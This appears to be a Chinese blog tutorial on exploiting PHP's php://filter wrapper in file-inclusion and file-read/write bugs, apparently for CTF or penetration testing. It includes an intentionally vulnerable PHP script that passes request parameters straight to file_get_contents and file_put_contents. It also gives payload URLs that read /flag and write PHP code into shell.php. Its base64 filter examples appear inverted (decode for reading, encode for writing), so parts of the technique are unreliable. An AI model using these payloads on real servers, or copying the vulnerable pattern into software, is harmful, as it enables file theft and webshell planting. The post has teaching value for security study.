在渗透测试或漏洞挖掘的过程中,我们经常会遇到php://filter结合其他漏洞,比如 文件包含,文件读取,反序列化,XXE等等 进行组合利用,以达到一定的攻击效果,拿到相应的服务器的权限。
php://filter
来了解原理:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
.php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

1. 自己的尝试:
1. 当前面有路径限制的时候,
上面说了是在文件流的时候进行过滤的。但是如果题目在前面有前缀的 话,就不行了。直接?file1=php://filter/resource=flag,没有办法。不能够读取任意文件。同样,写文件也是不行 的。
没有前缀限制的话,写入文件:
也只能够写入本目录下,不能够想读取文件一样,在任意目录进行写入文件,也是只能够在本目录下进行写入。

1.使用
0. 测试代码:
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt'];
echo file_get_contents($file1);
file_put_contents($file2,$txt);
?>
1.读取文件:
# 明文读取
test.php?file1=php://filter/resource=/flag
# 编码读取
test.php?file1=php://filter/read=convert.base64-decode/resource=/flag

2. 写入文件:
# 明文写入:
test.php?file2=php://filter/resource=shell.php&txt=<?php phpinfo();?>
#编码写入:
test.php?file2=php://filter/write=convert.base64-encode/resource=shell.php&txt=<?php phpinfo();?>

本文探讨了php://filter在渗透测试和漏洞挖掘中的应用,特别是在文件包含、文件读取和写入场景中如何组合利用。通过示例代码展示了如何利用php://filter读取和写入文件,包括明文和编码方式。然而,该方法受到路径限制,无法读取或写入任意目录。同时,文章提到了这种利用方式在有路径限制时的局限性。
2512

被折叠的 条评论
为什么被折叠?



